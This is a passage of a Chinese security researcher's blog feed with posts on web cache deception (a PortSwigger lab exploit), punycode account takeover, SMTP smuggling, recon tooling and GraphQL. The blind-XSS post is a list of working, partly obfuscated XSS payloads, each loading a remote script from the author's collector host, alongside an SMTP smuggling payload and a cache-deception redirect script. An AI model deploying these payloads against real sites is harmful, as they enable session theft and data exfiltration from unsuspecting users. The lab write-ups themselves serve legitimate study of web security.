完成后注入通知"></a>s08   “慢操作丢后台, agent 继续想下一步” — 后台线程跑命令, 完成后注入通知</h2><h2 id="s09-“任务太大一个人干不完-要能分给队友”-—-持久化队友-异步邮箱"><a href="#s09-“任务太大一个人干不完-要能分给队友”-—-持久化队友-异步邮箱" class="headerlink" title="s09   “任务太大一个人干不完, 要能分给队友” — 持久化队友 + 异步邮箱"></a>s09   “任务太大一个人干不完, 要能分给队友” — 持久化队友 + 异步邮箱</h2><h2 id="s10-“队友之间要有统一的沟通规矩”-—-一个-request-response-模式驱动所有协商"><a href="#s10-“队友之间要有统一的沟通规矩”-—-一个-request-response-模式驱动所有协商" class="headerlink" title="s10   “队友之间要有统一的沟通规矩” — 一个 request-response 模式驱动所有协商"></a>s10   “队友之间要有统一的沟通规矩” — 一个 request-response 模式驱动所有协商</h2><h2 id="s11-“队友自己看看板-有活就认领”-—-不需要领导逐个分配-自组织"><a href="#s11-“队友自己看看板-有活就认领”-—-不需要领导逐个分配-自组织" class="headerlink" title="s11   “队友自己看看板, 有活就认领” — 不需要领导逐个分配, 自组织"></a>s11   “队友自己看看板, 有活就认领” — 不需要领导逐个分配, 自组织</h2><h2 id="s12-“各干各的目录-互不干扰”-—-任务管目标-worktree-管目录-按-ID-绑定"><a href="#s12-“各干各的目录-互不干扰”-—-任务管目标-worktree-管目录-按-ID-绑定" class="headerlink" title="s12   “各干各的目录, 互不干扰” — 任务管目标, worktree 管目录, 按 ID 绑定"></a>s12   “各干各的目录, 互不干扰” — 任务管目标, worktree 管目录, 按 ID 绑定</h2>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;本文学习于github项目learn-claude-code&quot;&gt;&lt;a href=&quot;#本文学习于github项目learn-claude-code&quot; class=&quot;headerlink&quot; title=&quot;本文学习于github项目learn-claude-code&quot;&gt;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>云安全</title>
    <link href="https://lisien11.xyz/2026/03/11/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <id>https://lisien11.xyz/2026/03/11/%E4%BA%91%E5%AE%89%E5%85%A8/</id>
    <published>2026-03-11T11:16:07.000Z</published>
    <updated>2026-03-11T11:16:07.879Z</updated>
    
    
    
    
    
  </entry>
  
  <entry>
    <title>openclow</title>
    <link href="https://lisien11.xyz/2026/02/28/openclow/"/>
    <id>https://lisien11.xyz/2026/02/28/openclow/</id>
    <published>2026-02-28T07:01:02.000Z</published>
    <updated>2026-03-17T13:53:25.382Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="2323decb8152311683be817984c0feb8cd0cccb34db19773e65d497760e8f06b">9c18114bfffb75bea463c3ab069bee10dfdcf4a9d9459329fda899a5ff7d49dbb49905955b35cd8f57a7a6e37baca6eece9199dff91c9c80d8ec863f2c7ef6ad609a636e23992ba74d333dd12210ab18b0e4335480da1db21f464032755654c88e121ceff00a688ad39e7c939014889dbf7a523de9db5f3729deeec178b5d403861ce139c04feb33546b1732b47b11b7cd98b293ae99de05beb3a9f10732068138291d2b3e10a256f33326dc3b290629f1dbd4a1de70b162ed43ddaeda0cae7d37c9c11c4313fe8bafabf5f5dd5a417b72b0ccde1d6d1e632881ba07390e69ecf1891eb7b26593ac386525ba7cac097706df9b8fb22dee71329fd84572213c3626a19fd7ed9b75d17b8dee36d9611754e716b95b6a89e495fec2b21d119ef0f1c4eec59deee937afa4b55afc41ee2bbc</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>对LuaN1aoAgent的解析学习</title>
    <link href="https://lisien11.xyz/2026/02/17/%E5%AF%B9LuaN1aoAgent%E7%9A%84%E8%A7%A3%E6%9E%90%E5%AD%A6%E4%B9%A0/"/>
    <id>https://lisien11.xyz/2026/02/17/%E5%AF%B9LuaN1aoAgent%E7%9A%84%E8%A7%A3%E6%9E%90%E5%AD%A6%E4%B9%A0/</id>
    <published>2026-02-17T08:44:29.000Z</published>
    <updated>2026-02-17T08:44:56.030Z</updated>
    
    
    
    
    
  </entry>
  
  <entry>
    <title>验证码登陆，注册流程解析，可能出现的漏洞问题解析</title>
    <link href="https://lisien11.xyz/2026/01/12/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%99%BB%E9%99%86%EF%BC%8C%E6%B3%A8%E5%86%8C%E6%B5%81%E7%A8%8B%E8%A7%A3%E6%9E%90%EF%BC%8C%E5%8F%AF%E8%83%BD%E5%87%BA%E7%8E%B0%E7%9A%84%E6%BC%8F%E6%B4%9E%E9%97%AE%E9%A2%98%E8%A7%A3%E6%9E%90/"/>
    <id>https://lisien11.xyz/2026/01/12/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%99%BB%E9%99%86%EF%BC%8C%E6%B3%A8%E5%86%8C%E6%B5%81%E7%A8%8B%E8%A7%A3%E6%9E%90%EF%BC%8C%E5%8F%AF%E8%83%BD%E5%87%BA%E7%8E%B0%E7%9A%84%E6%BC%8F%E6%B4%9E%E9%97%AE%E9%A2%98%E8%A7%A3%E6%9E%90/</id>
    <published>2026-01-12T10:26:56.000Z</published>
    <updated>2026-01-20T13:17:08.103Z</updated>
    
    
    
    
    
  </entry>
  
  <entry>
    <title>aaa</title>
    <link href="https://lisien11.xyz/2025/12/28/aaa/"/>
    <id>https://lisien11.xyz/2025/12/28/aaa/</id>
    <published>2025-12-28T06:14:27.000Z</published>
    <updated>2025-12-28T06:38:17.806Z</updated>
    
    <content type="html"><![CDATA[<p><img src="image-39.png" alt=""><br><img src="image-40.png" alt="alt text"><br><img src="image-41.png" alt="alt text"><br><img src="image-42.png" alt="alt text"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;image-39.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;img src=&quot;image-40.png&quot; alt=&quot;alt text&quot;&gt;&lt;br&gt;&lt;img src=&quot;image-41.png&quot; alt=&quot;alt text&quot;&gt;&lt;br&gt;&lt;img src=&quot;image-</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Web缓存欺骗与punycode导致的0点击账户劫持</title>
    <link href="https://lisien11.xyz/2025/12/19/Web%E7%BC%93%E5%AD%98%E6%AC%BA%E9%AA%97%E4%B8%8E%E9%82%AE%E7%AE%B1SQL%E6%9C%8D%E5%8A%A1%E4%B8%8D%E7%BB%9F%E4%B8%80%E5%AF%BC%E8%87%B4%E7%9A%84sql%E6%B3%A8%E5%85%A5/"/>
    <id>https://lisien11.xyz/2025/12/19/Web%E7%BC%93%E5%AD%98%E6%AC%BA%E9%AA%97%E4%B8%8E%E9%82%AE%E7%AE%B1SQL%E6%9C%8D%E5%8A%A1%E4%B8%8D%E7%BB%9F%E4%B8%80%E5%AF%BC%E8%87%B4%E7%9A%84sql%E6%B3%A8%E5%85%A5/</id>
    <published>2025-12-19T11:02:22.000Z</published>
    <updated>2025-12-19T13:22:04.618Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Web-cache-deception"><a href="#Web-cache-deception" class="headerlink" title="Web cache deception"></a>Web cache deception</h1><h1 id="什么是缓存，什么是Cache-keys？"><a href="#什么是缓存，什么是Cache-keys？" class="headerlink" title="什么是缓存，什么是Cache keys？"></a>什么是缓存，什么是Cache keys？</h1><p>其实大家应该都知道缓存是为了加快访问而存在的，如一个学校官网，在你第一次访问时如果是会将页面存到缓存中，后面再缓存有效期的访问中都是从缓存服务器中给的响应。</p><p><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\image-20251219200438846.png" alt="image-20251219200438846"></p><p>而当一个页面被缓存时，你通过不同客户端访问也是可以得到相同的缓存内容的</p><h2 id="Cache-keys"><a href="#Cache-keys" class="headerlink" title="Cache keys"></a>Cache keys</h2><p>Cache keys就是由于判断请求是否为重复相同请求的。一般是url路径加上一些请求标头</p><h2 id="什么会被缓存"><a href="#什么会被缓存" class="headerlink" title="什么会被缓存"></a>什么会被缓存</h2><p>1.静态文件如.js .css .jpg .txt</p><p>2.静态目录，由开发者设定</p><p>3.固定缓存路径</p><h2 id="为什么会产生这个漏洞以及漏洞目的"><a href="#为什么会产生这个漏洞以及漏洞目的" class="headerlink" title="为什么会产生这个漏洞以及漏洞目的"></a>为什么会产生这个漏洞以及漏洞目的</h2><p>我们看上面的图片可以发现其存在缓存服务器和源服务器。</p><p>而这个两个服务器对应不同的web cache key，url路径的处理有可能是不同的，当这些产生差异的时候就容易产生漏洞</p><p>比如 源服务器会将; 当成分隔符直接忽略到后面的所有路径而缓存服务器不会。</p><p>而这个时候如果其缓存逻辑是我上述的1，即当路径会静态文件时就会产生缓存劫持</p><p>如果这个页面存在用户信息，比如其路径未userinfo</p><p>这时候当我们访问的是/userinfo;a.js时就会导致</p><p>缓存服务器将其识别为可缓存页面，而源服务器会将其识别为userinfo。</p><p><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\image-20251219202618108.png" alt="image-20251219202618108"></p><h1 id="portswigger-缓存路径欺骗靶场2，路径分隔的差异导致的缓存"><a href="#portswigger-缓存路径欺骗靶场2，路径分隔的差异导致的缓存" class="headerlink" title="portswigger 缓存路径欺骗靶场2，路径分隔的差异导致的缓存"></a>portswigger 缓存路径欺骗靶场2，路径分隔的差异导致的缓存</h1><h2 id="靶场"><a href="#靶场" class="headerlink" title="靶场"></a>靶场</h2><p>登陆后发现直接回显密钥且这个页面不可以缓存<br><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\IMG_20250925-090519888.png" alt=""><br>先尝试再后面直接加上aaa查看器是否会强制转换路由<br><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\IMG_20250925-090630302.png" alt=""><br>不会，那么接下来就是找这个服务的分隔符了，分隔符也就是类似于tomcat的;这种截断字符<br>将url编码和非编码都进行尝试<br><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\IMG_20250925-091008371.png" alt=""><br>问好与分号是分隔符<br><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\IMG_20250925-091206301.png" alt=""><br>后面加上;aa.js这样服务器就会将其认为是js静态文件。进行缓存而因为服务器会将;进行分隔，这导致应该不可缓存的页面被缓存。?经尝试不行</p><p>这样我们只要将这隔发给被攻击着就可以得到器缓存再服务器的密钥</p><p>编辑exp</p><script>window.location.href="https://0af700da04f37718805d127f009200fa.web-security-academy.net/my-account;aaa.js"</script><p><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\IMG_20250925-091806201.png" alt=""><br>被缓存<br><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\IMG_20250925-091819094.png" alt="">  </p><h1 id="Puny-Code-0-Click-Account-Takeover"><a href="#Puny-Code-0-Click-Account-Takeover" class="headerlink" title="Puny-Code, 0-Click Account Takeover"></a>Puny-Code, 0-Click Account Takeover</h1><h2 id="什么是punycode其作用是什么"><a href="#什么是punycode其作用是什么" class="headerlink" title="什么是punycode其作用是什么"></a>什么是punycode其作用是什么</h2><p>下面是我从某个域名注册网站截的图</p><p><img src="image-38.png" alt="alt text"></p><p>在域名解析时，如果域名为非ascii字符就会将其编码成punycode进行解析，而邮件服务即smtp服务其实就是这个逻辑，即当smtp遇到类似user@gẩmil.com会将其解析为xn—user@gmil-gb7d.com</p><p>而有趣的来了，当mysql在解析user@gẩmil.com会将其与user@gamil.com划等号即这种IDN的ẩ与a在mysql环境是相同的</p><h2 id="下面是忘记密码时一般服务器的流程"><a href="#下面是忘记密码时一般服务器的流程" class="headerlink" title="下面是忘记密码时一般服务器的流程"></a>下面是忘记密码时一般服务器的流程</h2><p><img src="C:\blog\source\_posts\Web缓存欺骗与邮箱SQL服务不统一导致的sql注入\image-20251219210602378.png" alt="image-20251219210602378"></p><p>上面的导图当server 过分信任用户的注入直接将tonken发送给用户传入的邮箱就会导致账户劫持</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Web-cache-deception&quot;&gt;&lt;a href=&quot;#Web-cache-deception&quot; class=&quot;headerlink&quot; title=&quot;Web cache deception&quot;&gt;&lt;/a&gt;Web cache deception&lt;/h1&gt;&lt;h1 i</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>2020-2024top-10-web-hacking-techniques-of-2023</title>
    <link href="https://lisien11.xyz/2025/12/09/2020-2024top-10-web-hacking-techniques-of-2023/"/>
    <id>https://lisien11.xyz/2025/12/09/2020-2024top-10-web-hacking-techniques-of-2023/</id>
    <published>2025-12-09T08:37:24.000Z</published>
    <updated>2025-12-10T12:28:28.943Z</updated>
    
    <content type="html"><![CDATA[<h1 id="无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名，感觉都挺有意思的。"><a href="#无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名，感觉都挺有意思的。" class="headerlink" title="无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名，感觉都挺有意思的。"></a>无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名，感觉都挺有意思的。</h1><h1 id="2023-top3：SMTP走私——全球范围内的电子邮件伪造"><a href="#2023-top3：SMTP走私——全球范围内的电子邮件伪造" class="headerlink" title="2023/top3：SMTP走私——全球范围内的电子邮件伪造"></a>2023/top3：SMTP走私——全球范围内的电子邮件伪造</h1><p>所谓SMTP请求走私就是利用SMTP服务器的发送端和接收端的差异而进行的。</p><h2 id="SMTP报文结果，发送端和接受端的简介"><a href="#SMTP报文结果，发送端和接受端的简介" class="headerlink" title="SMTP报文结果，发送端和接受端的简介"></a>SMTP报文结果，发送端和接受端的简介</h2><p>首先我们得先了解一下发送端于接受端的功能对应报文的处理</p><h3 id="报文结构"><a href="#报文结构" class="headerlink" title="报文结构"></a>报文结构</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">From: Alice &lt;alice@example.com&gt;\r\n</span><br><span class="line">To: Bob &lt;bob@example.com&gt;\r\n</span><br><span class="line">Subject: Test\r\n</span><br><span class="line">Date: Thu, 10 Dec 2025 15:30:00 +0800\r\n</span><br><span class="line">\r\n</span><br><span class="line">Hello Bob,\r\n</span><br><span class="line">This is a test email.\r\n</span><br><span class="line">.\r\n</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以发现其实就是邮件头加消息即body的结构，然后使用单独一行的.即<code>&lt;CRLF&gt; . &lt;CRLF&gt;</code>来当结束符。</p><h3 id="发送端于发送端的差异"><a href="#发送端于发送端的差异" class="headerlink" title="发送端于发送端的差异"></a>发送端于发送端的差异</h3><p>首先发送端遇到<code>&lt;CRLF&gt; . &lt;CRLF&gt;</code>即结束符号时会进行截断直接不解析后面的即只将<code>&lt;CRLF&gt; . &lt;CRLF&gt;</code>前的内容发送给接收端<br>而非常有趣的是当接受端收到<code>&lt;CRLF&gt; . &lt;CRLF&gt;</code>却会继续解析后面的smtp命令。</p><h2 id="产生原因"><a href="#产生原因" class="headerlink" title="产生原因"></a>产生原因</h2><p>前面我们说了发送端和接受端对<code>&lt;CRLF&gt; . &lt;CRLF&gt;</code>即结束符的处理方法是不同的。但是单纯的使用<code>&lt;CRLF&gt; . &lt;CRLF&gt;</code>是无法走私成功的，这个漏洞需要当发送端无法解析类似<code>&lt;CRLF&gt; . &lt;LF&gt;</code>或者<code>&lt;LF&gt; . &lt;LF&gt;</code>这种形式的单行.而接受端却可以解析。</p><p>那么就会造成攻击者构造如下报文<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">data\r\n</span><br><span class="line">From: user@gmx.net\r\n</span><br><span class="line">To: user@provider.example\r\n</span><br><span class="line">Subject: Message #1\r\n</span><br><span class="line">\r\n</span><br><span class="line">lorem ipsum</span><br><span class="line">\n.\r\n</span><br><span class="line">mail FROM:&lt;admin@gmx.net&gt;\r\n</span><br><span class="line">rcpt TO:&lt;user@provider.example&gt;\r\n</span><br><span class="line">data\r\n</span><br><span class="line">From: admin@gmx.net\r\n</span><br><span class="line">To: user@provider.example\r\n</span><br><span class="line">Subject: Message #2\r\n</span><br><span class="line">\r\n</span><br><span class="line">I am the admin now!</span><br><span class="line">\r\n.\r\n</span><br><span class="line"></span><br></pre></td></tr></table></figure></p><p>上面的payload就有可能造成发送端无法识别</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名，感觉都挺有意思的。&quot;&gt;&lt;a href=&quot;#无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名，感觉都挺有意思的。&quot; class=</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>盲xss</title>
    <link href="https://lisien11.xyz/2025/11/05/%E7%9B%B2xss/"/>
    <id>https://lisien11.xyz/2025/11/05/%E7%9B%B2xss/</id>
    <published>2025-11-05T10:42:17.000Z</published>
    <updated>2025-11-05T12:15:01.604Z</updated>
    
    <content type="html"><![CDATA[<h1 id="https-conote-xsslse-xyz-xss"><a href="#https-conote-xsslse-xyz-xss" class="headerlink" title="https://conote.xsslse.xyz/xss"></a><a href="https://conote.xsslse.xyz/xss">https://conote.xsslse.xyz/xss</a></h1><p>conote+飞书通知<br>payload如下<br>Import:<br>Script:<br>Input:<br>Img:<br>Video:<br>IFrame:<br>XMLHTTP:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;img src=&#x27;z&#x27; onerror=import(&#x27;https://lse11.cn/Kq8Snzf8.js?n=0d1a98&#x27;)&gt;</span><br><span class="line">&quot;&gt;&lt;script src=https://lse11.cn/Kq8Snzf8.js?n=0d1a98&gt;&lt;/script&gt;</span><br><span class="line">&quot;&gt;&lt;input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbHNlMTEuY24vS3E4U256ZjguanM/bj0wZDFhOTgiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus&gt;</span><br><span class="line">&quot;&gt;&lt;img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbHNlMTEuY24vS3E4U256ZjguanM/bj0wZDFhOTgiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))&gt;</span><br><span class="line">&quot;&gt;&lt;video&gt;&lt;source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbHNlMTEuY24vS3E4U256ZjguanM/bj0wZDFhOTgiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7&gt;</span><br><span class="line">&quot;&gt;&lt;iframe srcdoc=&quot;&amp;#0000060;&amp;#0000115;&amp;#0000099;&amp;#0000114;&amp;#0000105;&amp;#0000112;&amp;#0000116;&amp;#0000062;&amp;#0000118;&amp;#0000097;&amp;#0000114;&amp;#0000032;&amp;#0000097;&amp;#0000061;&amp;#0000112;&amp;#0000097;&amp;#0000114;&amp;#0000101;&amp;#0000110;&amp;#0000116;&amp;#0000046;&amp;#0000100;&amp;#0000111;&amp;#0000099;&amp;#0000117;&amp;#0000109;&amp;#0000101;&amp;#0000110;&amp;#0000116;&amp;#0000046;&amp;#0000099;&amp;#0000114;&amp;#0000101;&amp;#0000097;&amp;#0000116;&amp;#0000101;&amp;#0000069;&amp;#0000108;&amp;#0000101;&amp;#0000109;&amp;#0000101;&amp;#0000110;&amp;#0000116;&amp;#0000040;&amp;#0000034;&amp;#0000115;&amp;#0000099;&amp;#0000114;&amp;#0000105;&amp;#0000112;&amp;#0000116;&amp;#0000034;&amp;#0000041;&amp;#0000059;&amp;#0000097;&amp;#0000046;&amp;#0000115;&amp;#0000114;&amp;#0000099;&amp;#0000061;&amp;#0000034;&amp;#0000104;&amp;#0000116;&amp;#0000116;&amp;#0000112;&amp;#0000115;&amp;#0000058;&amp;#0000047;&amp;#0000047;&amp;#0000108;&amp;#0000115;&amp;#0000101;&amp;#0000049;&amp;#0000049;&amp;#0000046;&amp;#0000099;&amp;#0000110;&amp;#0000047;&amp;#0000075;&amp;#0000113;&amp;#0000056;&amp;#0000083;&amp;#0000110;&amp;#0000122;&amp;#0000102;&amp;#0000056;&amp;#0000046;&amp;#0000106;&amp;#0000115;&amp;#0000063;&amp;#0000110;&amp;#0000061;&amp;#0000048;&amp;#0000100;&amp;#0000049;&amp;#0000097;&amp;#0000057;&amp;#0000056;&amp;#0000034;&amp;#0000059;&amp;#0000112;&amp;#0000097;&amp;#0000114;&amp;#0000101;&amp;#0000110;&amp;#0000116;&amp;#0000046;&amp;#0000100;&amp;#0000111;&amp;#0000099;&amp;#0000117;&amp;#0000109;&amp;#0000101;&amp;#0000110;&amp;#0000116;&amp;#0000046;&amp;#0000098;&amp;#0000111;&amp;#0000100;&amp;#0000121;&amp;#0000046;&amp;#0000097;&amp;#0000112;&amp;#0000112;&amp;#0000101;&amp;#0000110;&amp;#0000100;&amp;#0000067;&amp;#0000104;&amp;#0000105;&amp;#0000108;&amp;#0000100;&amp;#0000040;&amp;#0000097;&amp;#0000041;&amp;#0000059;&amp;#0000060;&amp;#0000047;&amp;#0000115;&amp;#0000099;&amp;#0000114;&amp;#0000105;&amp;#0000112;&amp;#0000116;&amp;#0000062;&quot;&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="JS-URI"><a href="#JS-URI" class="headerlink" title="JS-URI:"></a>JS-URI:</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javascript:eval(&#x27;var a=document.createElement(\&#x27;script\&#x27;);a.src=\&#x27;https://lse11.cn/Kq8Snzf8.js?n=0d1a98\&#x27;;document.body.appendChild(a)&#x27;)</span><br></pre></td></tr></table></figure><h2 id="JQuery"><a href="#JQuery" class="headerlink" title="JQuery:"></a>JQuery:</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="keyword">function</span> <span class="title function_">b</span>(<span class="params"></span>)&#123;<span class="built_in">eval</span>(<span class="variable language_">this</span>.<span class="property">responseText</span>)&#125;;a=<span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();a.<span class="title function_">addEventListener</span>(<span class="string">&quot;load&quot;</span>, b);a.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, <span class="string">&quot;//lse11.cn/Kq8Snzf8.js?n=0d1a98&quot;</span>);a.<span class="title function_">send</span>();&lt;/script&gt;</span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">$.<span class="title function_">getScript</span>(<span class="string">&quot;//lse11.cn/Kq8Snzf8.js?n=0d1a98&quot;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;https-conote-xsslse-xyz-xss&quot;&gt;&lt;a href=&quot;#https-conote-xsslse-xyz-xss&quot; class=&quot;headerlink&quot; title=&quot;https://conote.xsslse.xyz/xss&quot;&gt;&lt;/a&gt;&lt;a </summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>信息收集</title>
    <link href="https://lisien11.xyz/2025/11/04/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
    <id>https://lisien11.xyz/2025/11/04/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</id>
    <published>2025-11-04T06:05:14.000Z</published>
    <updated>2025-11-04T15:38:25.709Z</updated>
    
    <content type="html"><![CDATA[<h1 id="子域名-探活"><a href="#子域名-探活" class="headerlink" title="子域名+探活"></a>子域名+探活</h1><p>subfinder<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">subfinder -dL domain.txt -all &gt;&gt; domians1.txt</span><br></pre></td></tr></table></figure></p><p>oneforall<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 oneforall.py --targets domain.txt run</span><br></pre></td></tr></table></figure></p><p>httpx<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat all_domains.txt|httpx -ports 80,443,8080,8000,8888,8443 -sc -title -mc 200,404,403,302 -threads 200 |tee subdomains_alive.txt</span><br></pre></td></tr></table></figure><br>Tscan截图</p><p>渗透时naabu发现非80，443的web端口<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure></p><h1 id="url收集"><a href="#url收集" class="headerlink" title="url收集"></a>url收集</h1><h2 id="被动收集"><a href="#被动收集" class="headerlink" title="被动收集"></a>被动收集</h2><h3 id="gau-our"><a href="#gau-our" class="headerlink" title="gau+our"></a>gau+our</h3><p>gau容易被ban<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat livesubdomains.txt | gau | sort -u &gt; urls2.txt</span><br></pre></td></tr></table></figure></p><h3 id="VirusTotal-sh-our"><a href="#VirusTotal-sh-our" class="headerlink" title="VirusTotal.sh+our"></a>VirusTotal.sh+our</h3><p><a href="https://github.com/coffinxp/scripts/blob/main/virustotal.sh">https://github.com/coffinxp/scripts/blob/main/virustotal.sh</a><br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;子域名-探活&quot;&gt;&lt;a href=&quot;#子域名-探活&quot; class=&quot;headerlink&quot; title=&quot;子域名+探活&quot;&gt;&lt;/a&gt;子域名+探活&lt;/h1&gt;&lt;p&gt;subfinder&lt;br&gt;&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;tabl</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>GraphQL</title>
    <link href="https://lisien11.xyz/2025/10/31/GraphQL/"/>
    <id>https://lisien11.xyz/2025/10/31/GraphQL/</id>
    <published>2025-10-31T09:49:48.000Z</published>
    <updated>2025-11-02T11:56:53.794Z</updated>
    
    <content type="html"><![CDATA[<h1 id="什么是GraphQL"><a href="#什么是GraphQL" class="headerlink" title="什么是GraphQL?"></a>什么是GraphQL?</h1><p>GraphQL 其实就是一种api查询语言,其可以对api端点的数据进行查询,修改删除,和订阅。</p><h2 id="什么是GrapQL的查询"><a href="#什么是GrapQL的查询" class="headerlink" title="什么是GrapQL的查询"></a>什么是GrapQL的查询</h2><p>其实也就是query关键词<br>比如如下代码<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">query myGetProductQuery &#123;</span><br><span class="line">    getProduct(id: 123) &#123;</span><br><span class="line">        name</span><br><span class="line">        description</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>其中myGetProductQuery是我们自定义的，数据名查询后的内容会以这个为key值<br>内部的getProduct(id: 123)，这个操作其实就是类似于调用一个内部已经定义好的函数，传入的参数是id值为123，内部的name和description其实就是要求其返回的数据段。</p><h2 id="什么是-GraphQL-mutations"><a href="#什么是-GraphQL-mutations" class="headerlink" title="什么是 GraphQL mutations"></a>什么是 GraphQL mutations</h2><p>mutations就是以某一种方法来更改数据，添加和删除数据。这个结构其实和查询差不多，其实也是调用了内部自定义好的接口<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mutation &#123;</span><br><span class="line">    createProduct(name: 